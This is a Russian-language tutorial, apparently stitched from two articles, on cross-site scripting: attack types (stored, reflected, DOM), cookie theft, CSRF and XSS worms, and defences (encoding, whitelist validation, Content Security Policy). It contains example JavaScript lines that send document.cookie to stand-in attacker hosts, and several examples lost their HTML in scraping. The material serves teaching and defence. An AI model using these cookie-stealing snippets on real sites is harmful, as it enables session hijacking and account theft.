    Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

    Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

    Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

    document.getElementsByTagName("form").submit();

    Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

    Кража Cookies

    Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

    var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

    Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.

    Кража данных из форм

    Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

    Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

    DDoS-атака (распределенная атака типа «отказ в обслуживании»)

    XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
    Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

    Подделка межсайтовых запросов (CSRF/XSRF)

    Также имеет косвенное отношение к XSS. Вообще это отдельный тип уязвимости, но часто используется совместно с XSS. Суть заключается в том, что пользователь, авторизированный на неуязвимом сайте, заходит на уязвимый (или специальную страницу злоумышленника), с которого отправляется запрос на совершение определенных действий.

    Грубо говоря, в идеале это должно быть так. Пользователь авторизировался в системе платежей. Потом зашел на сайт злоумышленника или сайт с XSS-уязвимостью, с которого отправился запрос на перевод денег на счет злоумышленника.

    Поэтому большинство сайтов при совершении определенных действий пользователя (например, смена e-mail) переспрашивают пароль или просят ввести код подтверждения.

    XSS-черви

    Этот тип атаки появился, наверное, благодаря соцсетям, таким как Вконтакте и Twitter. Суть в том, что нескольким пользователям соцсети посылается ссылка с XSS-уязвимостью, когда они перейдут по ссылке, то интегрированный скрипт рассылает сообщения другим пользователям от их имени и т.д. При этом могут совершаться и другие действия, например отсылка личных данных жертв злоумышленнику.

    Безобидный XSS

    Интересно, что счетчики по своей сути тоже являются в некотором роде активной XSS-атакой. Ведь на сторонний сервер передаются данные о посетителе, как, например, его IP-адрес, разрешение монитора и т.п. Только код в свою страничку вы интегрируете по собственной воле:) Взгляните, например, на код Google Analytic.

    И является комплексным учебником по межсайтовому скриптингу.

    Часть первая: Обзор Что такое XSS?

    Межсайтовый скриптинг (англ. Cross-site scripting ) — это атака нацеленная на внедрение кода, позволяющая злоумышленнику выполнить вредоносный JavaScript в браузере другого пользователя.

    Злоумышленник не атакует свою жертву напрямую. Вместо этого он использует уязвимость веб-сайта который посещает жертва и внедряет вредоносный JavaScript код. В браузере жертвы вредоносный JavaScript отображается как легитимная часть веб-сайта, а сам веб-сайт выступает в качестве непосредственного соучастника атакующего.

    Внедрение вредоносного JavaScript-кода

    Единственный способ для атакующего запустить вредоносный JavaScript в браузере жертвы — это внедрить его в одну из страниц, которую загружает жертва с веб-сайта. Это возможно, если веб-сайт позволяет пользователям вводить данные на своих страницах, а атакующий сможет вставить строку, которая будет определятся как часть кода в браузере жертвы.

    В приведенном ниже примере показан простой серверный скрипт, который используется для отображения последнего комментария на сайте:

    print ""
    print "Последний комментарий:"
    print database.latestComment
    print ""

    Скрипт предполагает, что комментарий состоит только из текста. Однако, так как включен непосредственный пользовательский ввод, злоумышленник может оставить этот комментарий: "..." . Любой пользователь, посетивший страницу, теперь будет получать следующий ответ:


    Последний комментарий:
    ...

    Когда браузер пользователя загружает страницу, он будет выполнять все, в том числе JavaScript-код, содержащийся внутри тегов . Атакующий успешно провел атаку.

    Что такое вредоносный JavaScript?

    Возможность выполнения JavaScript в браузере жертвы может показаться не особенно вредоносной. JavaScript работает в очень ограниченной среде, которая имеет крайне ограниченный доступ к файлам пользователя и операционной системы. На самом деле, вы можете открыть консоль JavaScript в своем браузере прямо сейчас и выполнить любой JavaScript который хотите, и очень маловероятно, что вы сможете причинить какой-либо вред вашему компьютеру.

    Тем не менее, возможности JavaScript-кода в качестве вредоносного становятся более понятными, если учесть следующие факты:

    • JavaScript имеет доступ к некоторой конфиденциальной информации пользователя, например куки (cookies).
    • JavaScript может отправлять HTTP-запросы с произвольным содержанием в произвольном направлении, используя XMLHttpRequest и другие механизмы.
    • JavaScript может делать произвольные изменения в HTML-коде текущей страницы с помощью методов манипулирования DOM.

    В случае комбинирования эти факты могут вызвать очень серьезные нарушения правил безопасности, подробности будут далее.

    Последствия вредоносного JavaScript-кода

    Кроме этого, возможность выполнить произвольный JavaScript в браузере другого пользователя позволяет злоумышленнику осуществить следующие типы атак:

    Кража куки

    злоумышленник может получить доступ к куки-записям жертвы, связанным с веб-сайтом, используя document.cookie , отправить их на свой собственный сервер и использовать их для извлечения конфиденциальной информации, такой как идентификаторы сеансов.

    Кейлоггер

    злоумышленник может зарегистрировать слушателя событий клавиатуры, используя addEventListener , а затем отправить все нажатия клавиш пользователя на свой сервер, потенциально записав конфиденциальную информацию, например, пароли и номера кредитных карт.

    Фишинг

    злоумышленник может вставить поддельную форму для входа на страницу, используя манипуляции DOM, установив action атрибуты формы на свой собственный сервер, а затем обмануть пользователя для получения конфиденциальной информации.

    Хотя эти атаки существенно различаются, все они имеют одно существенное сходство: так как злоумышленник внедряет код на страницу обслуживаемую сайтом, вредоносный JavaScript выполняется в контексте этого веб-сайта. Это означает, что он рассматривается как любой другой сценарий с этого сайта: он имеет доступ к данным жертвы для этого веб-сайта (например куки-записи) и имя хоста отображаемое в строке URL будет то же, что и у веб-сайта. Для всех целей сценарий считается законной частью веб-сайта, что позволяет ему делать всё, что может делать сам веб-сайт.

    Этот факт подчеркивает ключевую проблему:

    Если злоумышленник может использовать ваш веб-сайт, для выполнения произвольного JavaScript-кода в браузере других пользователей, безопасность вашего веб-сайта и его пользователей скомпрометирована.

    Чтобы подчеркнуть этот момент, некоторые примеры вредоносного скрипта в этом учебнике будут оставаться без подробностей, используя ... . Это свидетельствует о том, что простое присутствие скрипта, внедряемого атакующим является проблемой, независимо от того, какой конкретный код сценария на самом деле выполняется.

    Часть вторая: XSS-атака Участники XSS-атаки

    Перед тем, как подробно описать как работает атака XSS, нам необходимо определить субъектов участвующих в атаке XSS. В общем, в атаке XSS присутствует три участника: веб-сайт , жертва , и взломщик .

    • Веб-сайт выдает HTML-страницы для пользователей запросивших их. В наших примерах он находится по адресу http://website/ .
      • База данных веб-сайта является базой данных, которая хранит некоторые введенные пользователями данные на страницах сайта.
    • Жертва — это обычный пользователь веб-сайта, который запрашивает страницы у него с помощью своего браузера.
    • Атакующий — это злоумышленник, который намеревается начать атаку на жертву за счет использования XSS-уязвимости на сайте.
      • Сервер взломщика — это веб-сервер под контролем злоумышленника с единственной целью — кража конфиденциальной информации жертвы. В наших примерах, он находится по адресу http://attacker/ .
    Пример сценария атаки


    window.location="http://attacker/?cookie="+document.cookie

    Этот скрипт создаст HTTP-запрос на другой URL-адрес, который перенаправит браузер пользователя на сервер атакующего. URL-адрес включает в себя куки жертвы в качестве параметра запроса, когда HTTP-запрос приходит на сервер атакующего, злоумышленник может извлечь эти куки из запроса. После того, как злоумышленник получил куки, — он может использовать их, чтобы выдать себя за жертву и начать последующее нападение.

    С этого момента, показанный выше HTML код будет называться вредоносной строкой или вредоносным скриптом . Важно понимать, что сама строка является вредоносной только если она, в конечном счете, обрабатывается как HTML-код в браузере жертвы, а это может произойти только в случае наличия XSS-уязвимости на веб-сайте.

    Как работает этот пример атаки

    На схеме ниже показан пример выполнения атаки злоумышленником:

  • Атакующий использует одну из форм веб-сайта для того, чтобы вставить вредоносную строку в базу данных веб-сайта.
  • Жертва запрашивает страницу с веб-сайта.
  • Сайт включает вредоносную строку из базы данных в ответ и отправляет его к жертве.
  • Браузер жертвы выполняет вредоносный сценарий внутри ответа, отправляя куки жертвы на сервер злоумышленника.
  • Типы XSS

    Цель XSS-атаки всегда заключается в выполнении вредоносного JavaScript скрипта в браузере жертвы. Существует несколько принципиально различных способов достижения этой цели. XSS-атаки часто подразделяются на три типа:

    • Хранимые (постоянные) XSS , где вредоносная строка берет свое начало из базы данных веб-сайта.
    • Отражённые (непостоянные) XSS , где вредоносная строка порождается из запроса жертвы.
    • DOM-модели XSS , где уязвимость возникает в коде на стороне клиента, а не на стороне серверного кода.

    В предыдущем примере показана хранимая XSS-атака. Теперь мы опишем два других типа XSS-атак: отраженный XSS и XSS-атака DOM-модели.

    Отражённый XSS

    В случае отраженной XSS-атаки вредоносная строка является частью запроса жертвы к веб-сайту. Сайт принимает и вставляет эту вредоносную строку в отправляемый ответ обратно пользователю. Схема ниже иллюстрирует этот сценарий:

  • Жертва обманным путем атакующего отправляет URL-запрос на веб-сайт.
  • Сайт включает вредоносную строку из URL-запроса в ответ жертве.
  • Браузер жертвы выполняет вредоносный сценарий, содержащийся в ответе, посылая куки жертвы на сервер злоумышленника.
  • Как успешно провести отраженную XSS-атаку?

    Отраженная XSS-атака может показаться безобидной, поскольку она требует чтобы жертва от своего имени отправила запрос, содержащий вредоносную строку. Так как никто не будет добровольно атаковать себя, то кажется, что не существует способа фактического выполнения атаки.

    Как выясняется, есть по крайней мере два распространенных способа заставить жертву начать отраженную XSS-атаку против себя:

    • Если пользователь является конкретной личностью, злоумышленник может отправить вредоносную URL-ссылку жертве (например с помощью электронной почты или мессенджера), и обманом заставить его открыть ссылку для посещения веб-сайта.
    • Если цель — это большая группа пользователей, злоумышленник может опубликовать ссылку на вредоносный URL (например на своем собственном веб-сайте или в социальной сети) и ждать посетителей которые перейдут по ссылке.

    Оба эти метода похожи, и оба они могут быть более успешными с использованием служб позволяющих «укоротить» URL-адрес, они замаскируют вредоносную строку от пользователей, которые могли бы идентифицировать ее.

    XSS в DOM-модели

    XSS в DOM-модели представляет собой вариант как хранимой и отраженной XSS-атаки. В этой XSS-атаке вредоносная строка не обрабатывается браузером жертвы, пока настоящий JavaScript веб-сайта не выполнится. Схема ниже иллюстрирует этот сценарий для отраженной XSS-атаки:

  • Атакующий создает URL-адрес, содержащий вредоносную строку, и отправляет его жертве.
  • Жертва обманным путем атакующего отправляет URL-запрос к веб-сайту.
  • Сайт принимает запрос, но не включает в ответ вредоносную строку.
  • Браузер жертвы выполняет легитимный сценарий, содержащийся в ответе, в результате чего вредоносный скрипт будет вставлен в страницу.
  • Браузер жертвы выполняет вредоносный скрипт, вставленный в страницу, посылая куки жертвы на сервер злоумышленника.
  • В чем отличие XSS в DOM-модели?

    В предыдущих примерах хранимых и отраженных XSS-атак сервер вставляет вредоносный скрипт на страницу, которая затем пересылается в ответе к жертве. Когда браузер жертвы получил ответ, он предполагает, что вредоносный скрипт является частью легитимного содержания страницы, и автоматически выполняет его во время загрузки страницы, как и любой другой сценарий.

    В примере XSS-атаки в DOM-модели вредоносный скрипт не вставляется как часть страницы; единственный скрипт, который автоматически выполняется во время загрузки страницы является легитимной частью страницы. Проблема заключается в том, что этот легитимный сценарий напрямую использует пользовательский ввод для того, чтобы добавить HTML на страницу. Поскольку вредоносная строка вставляется в страницу с помощью innerHTML , она анализируется как HTML, в результате чего вредоносный скрипт будет выполняться.

    Это различие небольшое, но очень важное:

    • В традиционном XSS вредоносный JavaScript выполняется при загрузке страницы, как часть HTML, отправленного сервером.
    • В случае XSS в DOM-модели вредоносный JavaScript выполняется после загрузки страницы, в результате эта страница с легитимным JavaScript обращается небезопасным способом к пользовательскому вводу (содержащему вредоносную строку).
    Как работает XSS в DOM-модели?

    В предыдущем примере нет необходимости в JavaScript; сервер может генерировать все HTML сам по себе. Если код на стороне сервера не содержал бы уязвимостей, веб-сайт не был бы подвержен уязвимости XSS.

    Однако, так как веб-приложения становятся более продвинутыми, все большее количество HTML-страниц генерируется с помощью JavaScript на стороне клиента, а не на сервере. В любое время контент должен изменятся без обновления всей страницы, это возможно с использованием JavaScript. В частности, это тот случай, когда страница обновляется после AJAX запроса.

    Это означает, что XSS уязвимости могут присутствовать не только в серверной части кода вашего сайта, но и на стороне JavaScript-кода клиента вашего сайта. Следовательно, даже при полностью безопасном коде на стороне сервера, — клиентский код может все еще не безопасно включать ввод пользовательских данных при обновлении DOM после загрузки страницы. Если это произойдет, то код со стороны клиента позволит провести XSS-атаку не по вине кода со стороны сервера.

    XSS на основе DOM-модели может быть невидим для сервера

    Существует особый случай XSS-атаки в DOM-модели, в котором вредоносная строка никогда не отправляется на сервер веб-сайта: это происходит тогда, когда вредоносная строка содержится в фрагменте идентификатора URL-адреса (что-либо после символа #). Браузеры не отправляют эту часть URL-адреса на сервер, так что веб-сайт не имеет доступа к нему с помощью кода на стороне сервера. Код со стороны клиента, однако, имеет доступ к нему, и, таким образом, возможно проведение XSS-атаки путем небезопасной обработки.

    Этот случай не ограничивается идентификатором фрагмента. Существует и другой пользовательский ввод, который является невидимым для сервера, например, новые функции HTML5, такие как LocalStorage и IndexedDB.

    Часть третья:
    Предотвращение XSS Методы предотвращения XSS

    Напомним, что XSS является атакой типа внедрения кода: введенные данные пользователем ошибочно интерпретируются как вредоносный программный код. Для того, чтобы не допустить этого типа инъекции кода, требуется безопасная обработка ввода. Для веб-разработчика, существует два принципиально различных способа выполнения безопасной обработки ввода:

    • Кодирование - это способ который позволяет произвести ввод данных пользователем только как данные и не позволяет браузеру обработку как кода.
    • Валидация - это способ фильтрует пользовательский ввод так, что браузер интерпретирует его как код без вредоносных команд.

    Хотя это принципиально разные методы предотвращения XSS, они имеют несколько общих черт, которые являются важными для понимания при использовании любого из них:

    Контекст Безопасная обработка ввода должна быть выполнена по-разному в зависимости от того, где на странице используется пользовательский ввод. входящий/исходящий Безопасная обработка ввода может быть выполнена либо, когда ваш сайт получает входные данные (входящий трафик) или прямо перед тем, как сайт вставляет пользовательский ввод в содержимое страницы (исходящий). Клиент/Сервер Безопасная обработка ввода может быть выполнена либо на стороне клиента, либо на стороне сервера, каждый вариант необходим при различных обстоятельствах.

    Прежде чем объяснять в деталях как работает кодирование и валидация мы опишем каждый из этих пунктов.

    Обработка пользовательского ввода в контекстах

    Есть много контекстов на веб-странице, где может быть применен пользовательский ввод. Для каждого из них должны быть соблюдены особые правила для того, чтобы пользовательский ввод не мог «вырваться» из своего контекста и не мог быть интерпретирован как вредоносный код. Ниже приведены наиболее распространенные контексты:

    Какое значение имеют контексты?

    Во всех описанных контекстах уязвимость приводящая к XSS может возникнуть если вводимые пользователем данные были вставлены до первого кодирования или валидации. Злоумышленник может внедрить вредоносный код просто вставив закрывающий разделитель для этого контекста и следом за ним вредоносный код.

    Например, если в какой-то момент веб-сайт включает ввод данных пользователем непосредственно в атрибут HTML, злоумышленник сможет внедрить вредоносный сценарий, начав свой ввод с кавычки, как показано ниже:

    Это можно было бы предотвратить, просто удалив все кавычки в пользовательском вводе, и все было бы хорошо, но только в этом контексте. Если же ввод был вставлен в другой контекст, закрывающий разделитель будет отличаться и инъекция станет возможной. По этой причине, безопасная обработка ввода всегда должна быть адаптирована к контексту, где будет вставлен пользовательский ввод.

    Обработка входящего/исходящего пользовательского ввода

    Инстинктивно, может показаться, что XSS можно предотвратить с помощью кодирования или валидации всего пользовательского ввода, как только наш сайт получает его. Таким образом, любые вредоносные строки уже будут нейтрализованы всякий раз, когда они будут включатся в страницу, и скриптам генерации HTML не придется заботиться о безопасной обработке пользовательского ввода.

    Проблема состоит в том, что как было описано ранее, вводимые пользователем данные могут быть вставлены в несколько контекстов на странице. И нет простого способа определить, когда пользовательский ввод приходит в контекст — как он в конечном итоге будет вставлен, и тот же пользовательский ввод часто должен быть вставлен в различных контекстах. Опираясь на обработку входящего ввода для предотвращения XSS, мы создаем очень хрупкое решение, которое будет подвержено ошибкам. (Устаревшие «волшебные кавычки » PHP являются примером такого решения.)

    Вместо этого, обработка исходящего ввода должна быть вашей основной линией защиты от XSS, потому что он может принимать во внимание конкретный контекст, какие вводимые пользователем данные будут вставлены. В какой то степени, входящую валидацию можно использовать для добавления вторичного слоя защиты, но об этом позже.

    Где возможно выполнять безопасную обработку пользовательского ввода

    В большинстве современных веб-приложений, пользовательский ввод обрабатывается как на стороне серверного кода, так и на стороне кода клиента. В целях защиты от всех типов XSS, безопасная обработка ввода должна быть выполнена как в коде на стороне сервера, так и на стороне кода клиента.

    • В целях защиты от традиционных XSS, безопасная обработка ввода должна быть выполнена в коде на стороне сервера. Это делается с помощью какого-либо языка, поддерживаемого сервером.
    • В целях защиты от XSS-атаки в DOM-модели, где сервер никогда не получает вредоносную строку (например, описанная ранее атака через фрагмент идентификатора), безопасная обработка ввода должна быть выполнена в коде на стороне клиента. Это делается с помощью JavaScript.

    Теперь, когда мы объяснили, почему контекст имеет значение, почему различие между входящей и исходящей обработкой ввода имеет важное значение, и почему безопасная обработка ввода должна быть выполнена с обеих сторон, и на стороне клиента и на стороне сервера, мы можем продолжить чтобы объяснить, каким образом два типа безопасной обработки ввода (кодирование и валидация) выполняются фактически.

    Кодирование

    Кодирование является способом выхода из ситуации когда необходимо что бы пользовательский ввод данных браузер интерпретировал только как данные, а не код. Самый популярный тип кодирования в веб-разработке, это маскирование HTML, который преобразует символы, такие как < и > в < и > соответственно.

    Следующий псевдокод является примером того, как вводимые пользователем данные (пользовательский ввод) могут быть закодированы с использованием HTML маскирования и затем вставлены в страницу с помощью серверного сценария:

    print ""
    print "Последний комментарий: "
    print encodeHtml(userInput)
    print ""

    Если пользователь введет следующую строку ... , результирующий HTML будет выглядеть следующим образом:


    Последний комментарий:
    ...

    Потому что все символы со специальным значением были замаскированны, браузер не будет разбирать какую-либо часть пользовательского ввода, как HTML.

    Кодирование кода на стороне клиента и сервера

    При выполнении кодирования кода со стороны клиента, всегда используется язык JavaScript, который имеет встроенные функции которые кодируют данные для разных контекстов.

    При выполнении кодирования в вашем коде на стороне сервера, вы полагаетесь на функции доступные в вашем языке или фреймворке. Из-за большого количества языков и доступных фреймворков, данное учебное пособие не будет охватывать детали кодирования в каком-либо конкретном языке сервера или фреймворка. Тем не менее функции кодирования JavaScript используемые на стороне клиента также используются при написании кода на стороне сервера.

    Кодирование на стороне клиента

    При кодировании пользовательского ввода на стороне клиента с помощью JavaScript есть несколько встроенных методов и свойств, которые автоматически кодируют все данные в контекстно-зависимый стиль:

    Последний контекст уже упоминавшийся выше (значения в JavaScript) не входит в этот список, потому что JavaScript не предоставляет встроенный способ кодирования данных, который будет включен в исходный код JavaScript.

    Ограничения кодирования

    Даже при кодировании возможно использование злонамеренных строк в некоторых контекстах. Ярким примером этого является то, когда пользовательский ввод используется для предоставления URL-адреса, например, в приведенном ниже примере:

    document.querySelector("a").href = userInput

    Хотя указанное значение в свойстве элемента href автоматически кодирует его так, что он становится не более, чем значение атрибута, это само по себе не мешает злоумышленнику вставить URL, начинающийся с « javascript: «. При щелчке по ссылке, независимо от построения, встроенный JavaScript внутри URL будет выполнен.

    Кодирование также не эффективное решение, когда вы хотите чтобы пользователи могли использовать часть HTML-кодов на странице. Примером может служить страница профиля пользователя, где пользователь может использовать пользовательский HTML. Если этот обычный HTML будет закодирован, страница профиля сможет состоять только из простого текста.

    В подобных ситуациях, кодирование должно быть дополнено валидацией, с которой мы познакомимся далее.

    Валидация

    Валидация является актом фильтрации пользовательского ввода таким образом, чтобы все вредоносные его части были удалены, без необходимости удаления всего кода в нем. Один из самых используемых видов проверки в веб-разработке позволяет использовать некоторые HTML-элементы (например, и ) но запретив другие (например, ).

    Существуют две основные характерные проверки, которые различаются своими реализациями:

    Стратегия классификации Пользовательский ввод может быть классифицирован с использованием черных либо и белых списков. Результат валидации Пользовательский ввод идентифицированный как вредоносный может быть отклонен или продезинфицирован.

    Стратегия классификации Черный список

    Инстинктивно, представляется целесообразным выполнить проверку путем определения запрещенного шаблона, который не должен появляться в пользовательском вводе. Если строка соответствует этому шаблону, она помечается как недействительная. Например позволить пользователям отправлять пользовательские URL-адреса с любым протоколом, за исключением javascript: . Эта стратегия классификации называется черный список .

    Тем не менее, черный список имеет два основных недостатка:

    Сложность точно описывать множество всех возможных вредоносных строк, как правило, очень сложная задача. Пример политики описанный выше, не может быть успешно реализован путем простого поиска по подстроке « javascript «, потому что ему будет не хватать строки вида « Javascript: » (где первая буква в верхнем регистре) и « javascript: » (где первая буква кодируется как числовая ссылка на символ). Устаривание Даже если идеальный черный список был бы разработан, он окажется бесполезным если новую функцию добавленную в браузер будет возможно использовать для атаки. Например, если черный список для валидации HTML был разработан до введения в HTML5 атрибута onmousewheel он (черный список) не сможет остановить злоумышленника который будет использовать этот атрибут для выполнения XSS-атаки. Этот недостаток особенно важен в веб-разработке, которая состоит из множества различных технологий, которые постоянно обновляются.

    Из-за этих недостатков черный список настоятельно не рекомендуется как стратегия классификации. Белый список, как правило, гораздо более безопасный подход, который мы опишем далее.

    Белый список

    Белый список по существу противоположен черному списку: вместо того, чтобы определять запрещенный шаблон, подход белого списка определяет разрешенный шаблон и отмечает ввод недействительным если он не соответствует этому шаблону.

    В отличие от черных списков, примером белых списков было бы разрешить пользователям отправлять пользовательские URL-адреса, содержащие только протоколы http: и https: , ничего более. Такой подход позволил бы автоматически пометить что URL-адрес является недействительным, если он содержит протокол javascript: , даже если он представлен как « Javascript: » или « javascript: «.

    По сравнению с черным списком у белых списков есть два основных преимущества:

    Простота Точно описывать набор безопасных строк, как правило, намного проще, чем идентифицировать набор всех вредоносных строк. Это особенно применимо в общих ситуациях, когда пользовательский ввод должен включать в себя очень ограниченный набор функциональных возможностей доступных в браузере. Например, белый список описанный выше очень просто позволяет использовать URL-адреса только с разрешенными протоколами http: или https: , и в большинстве ситуаций этого вполне достаточно для пользователей. Долговечность В отличие от черного списка, белый список, как правило, не становятся устаревшими, когда новая функция добавляется в браузер. Например, HTML валидация белым списком позволяет только title атрибутам HTML-элементов оставаться безопасными, даже если он (белый список) был разработан до введения onmousewheel атрибута HTML5.

    Результат валидации

    Когда пользовательский ввод был отмечен как недействительный (запрещенный), может быть принято одно из двух действий:

    Отклонение ввод просто отклоняется, предотвращая его использование в других местах на сайте. Дезинфекция все недействительные части вводимых данных удаляются, а оставшийся ввод используется на веб-сайте как обычно.

    Из этих двух, «отклонение» является самым простым подходом в реализации. Но считается, что дезинфекция является более полезной, поскольку она предоставляет более широкий диапазон ввода для пользователя. Например, если пользователь отправляет номер кредитной карты, дезинфекция удалит все символы не являющиеся символами и предотвратит инъекцию кода, а также позволяет пользователю ввести номер как содержащий дефисы, так и без них.

    Если вы решили реализовать дезинфекцию, необходимо убедиться в том, что сама процедура дезинфекции не использует подход чёрного списка. Например, URL-адрес « Javascript:... «, даже если идентифицирован с использованием белого списка как недействительный, получил бы в обход дезинфекции подпрограмму, которая просто удаляет все экземпляры « javascript: «. По этой причине, хорошо проверенные библиотеки и фреймворки по возможности должны использовать дезинфекцию.

    Какие методы использовать для профилактики?

    Кодирование должно быть вашей первой линией защиты от XSS-атак, его цель в обработке данных таким образом, что бы браузер не смог истолковать пользовательский ввод как код. В некоторых случаях кодирование должно быть дополнено валидацией. Кодирование и валидация должны применятся к исходящему трафику, потому что только тогда вы можете знать в каком контексте будет применен пользовательский ввод и какое кодирование и какую валидация необходимо применить.

    В качестве второй линии обороны вы должны применять на входящих данных дезинфекцию или отклонение явно недействительного пользовательского ввода, например, ссылок с помощью протокола javascript: . Это не может само по себе обеспечить полную безопасность, но это полезная мера предосторожности если в любой точке защиты кодированием и валидацией из-за неправильного выполнения возможна ошибка.

    Если эти две линии обороны используются последовательно, ваш сайт будет защищен от XSS атак. Однако из-за сложности создания и поддержания работы веб-сайта обеспечение полной защиты с использованием только безопасной обработки пользовательского ввода может быть затруднено. В качестве третьей линии обороны вы должны использовать Политики Безопасности Контента (англ. Content Security Policy ), далее CSP, которые мы опишем далее.

    Политики Безопасности Контента (CSP)

    Использовать только безопасную обработку пользовательского ввода для защиты от XSS-атак недостаточно, потому что даже одна ошибка безопасности может поставить под угрозу ваш веб-сайт. Применение из нового веб-стандарта Политик Безопасности Контента (CSP) может снизить этот риск.

    CSP используются для ограничения использования браузером веб-страницы таким образом, что он может использовать только ресурсы загруженные из надежных источников. А ресурсы представляют собой сценарии, таблицы стилей, изображения, или какие-либо другие типы файлов на которые есть ссылки на странице. Это означает, что даже если злоумышленнику удастся провести инъекцию вредоносного контента на вашем сайте, CSP сможет предотвратить его исполнение.

    CSP могут быть использованы для обеспечения соблюдения следующих правил:

    Запрет ненадежных источников внешние ресурсы могут быть загружены только из набора четко определенных надежных источников. Запрет встроенных ресурсов встроенный JavaScript и CSS не будут учитываться. Запрет eval запрет использования функции eval в JavaScript.

    CSP в действии

    В следующем примере, злоумышленнику удалось внедрение вредоносного кода в веб-страницу:


    Последний комментарий:

    При правильно определенной политике CSP, браузер не может загрузить и выполнить malicious‑script.js потому что http://attacker/ не указан как надежный источник. Даже несмотря на то, что сайту не удалось надежно обрабатывать пользовательский ввод данных в данном случае политика CSP предотвратила уязвимость и причинение какого-либо вреда.

    Даже если злоумышленник провел инъекцию кодом внутрь кода сценария, а не ссылкой на внешний файл, правильно настроенная политика CSP также запретит инъекцию в код JavaScript предотвратив уязвимость и причинение какого-либо вреда.

    Как включить CSP?

    По умолчанию, браузеры не используют CSP. Для того, что бы включить SCP на своем веб-сайте, страницы должны содержать дополнительный заголовок HTTP: Content‑Security‑Policy . Любая страница содержащая этот заголовок будет применять политики безопасности во время загрузки браузером, при условии что браузер поддерживает CSP.

    Поскольку политика безопасности отправляется с каждым HTTP-ответом, есть возможность на сервере индивидуально установить политику для каждой страницы. Та же политика может быть применена ко всему веб-сайт, вставляя один и тот же заголовок CSP в каждом ответе.

    Значение в заголовке Content‑Security‑Policy содержит строку, определяющую одну или несколько политик безопасности, которые будут работать на вашем сайте. Синтаксис этой строки будет описан далее.

    Примеры заголовков в этом разделе используют перенос строки и отступы для простоты восприятия; они не должны присутствовать в настоящем заголовке.

    Синтаксис CSP

    Синтаксис заголовка CSP выглядит следующим образом:

    Content‑Security‑Policy:
    directive source‑expression , source‑expression , ...;
    directive ...;
    ...

    Этот синтаксис состоит из двух элементов:

    • Директивы (directives) представляющие собой строки, указывающие тип ресурса, взятый из заданного списка.
    • Выражение источника (source expressions) является моделью, описывающей один или несколько серверов от куда могут быть загружены ресурсы.

    Для каждой директивы данные в выражении источника определяют какие источники можно использовать для загрузки ресурсов соответствующего типа.

    Директивы

    Следующие директивы могут быть использованы в заголовке CSP:

    • connect‑src
    • font‑src
    • frame‑src
    • img‑src
    • media‑src
    • object‑src
    • script‑src
    • style‑src

    В дополнение к этому, специальная директива default‑src может использоваться для того, чтобы обеспечить значение по умолчанию для всех директив, которые не были включены в заголовок.

    Выражение источника

    Синтаксис для создания выражения источника выглядит следующим образом:

    протокол:// имя‑хоста: номер‑порта

    Имя хоста может начинаться с * , это означает, что любой поддомен предоставленного имени хоста будет разрешен. Аналогично номер порта может быть представлен в виде * , это означает что все порты будут разрешены. Кроме того, протокол и номер порта могут быть пропущены. В случае если протокол не указан, политика будет требовать чтобы все ресурсы быть загружены с помощью HTTPS.

    В дополнение к указанному выше синтаксису, выражение источника может в качестве альтернативы быть одним из четырех ключевых слов со специальным значением (кавычки включены):

    "none" запрещает ресурсы. "self" разрешает ресурсы с хоста на котором находится веб-страница. "unsafe‑inline" разрешает ресурсы, содержащиеся на странице как встроенные элементы, элементы, и javascript: URL-адреса. "unsafe‑eval" разрешает JavaScript функцию eval .

    Обратите внимание, что всякий раз, когда используется CSP, встроенные ресурсы и eval по умолчанию автоматически запрещены. Использование "unsafe‑inline" и "unsafe‑eval" — единственный способ для их использования.

    Пример политики

    Content‑Security‑Policy:
    script‑src "self" scripts.example.com;
    media‑src "none";
    img‑src *;
    default‑src "self" http://*.example.com

    С этим примером политики веб-страница будет иметь следующие ограничения:

    • Скрипты могут быть загружены только с хоста на котором находится веб-страница и с этого адреса: scripts.example.com .
    • Аудио и видео файлы запрещены к загрузке.
    • Файлы изображений могут быть загружены с любого адреса.
    • Все остальные ресурсы могут быть загружены только с хоста на котором находится веб-страница и из любого поддомена example.com .
    Статус CSP

    На июнь 2013 года Политики Безопасности Контента рекомендуются консорциумом W3C . CSP реализуется разработчиками браузеров, но некоторые его части специфичны для разных браузеров. Например, использование HTTP-заголовка может отличаться между браузерами. Перед использованием CSP обратитесь к документации браузеров, которые вы собираетесь поддерживать.

    Резюме Резюме: Обзор XSS
    • XSS-атака представляет собой инъекцию кода, атака стала возможной благодаря незащищенной обработке пользовательского ввода.
    • Успешная XSS-атака позволяет злоумышленнику выполнить вредоносный JavaScript в браузере жертвы.
    • Успешная XSS-атака ставит под угрозу безопасность как веб-сайта, так и его пользователей.
    Резюме: XSS-атаки
    • Существуют три основных типа XSS-атак:
      • Хранимые XSS, где вредоносный ввод берет свое начало из базы данных веб-сайта.
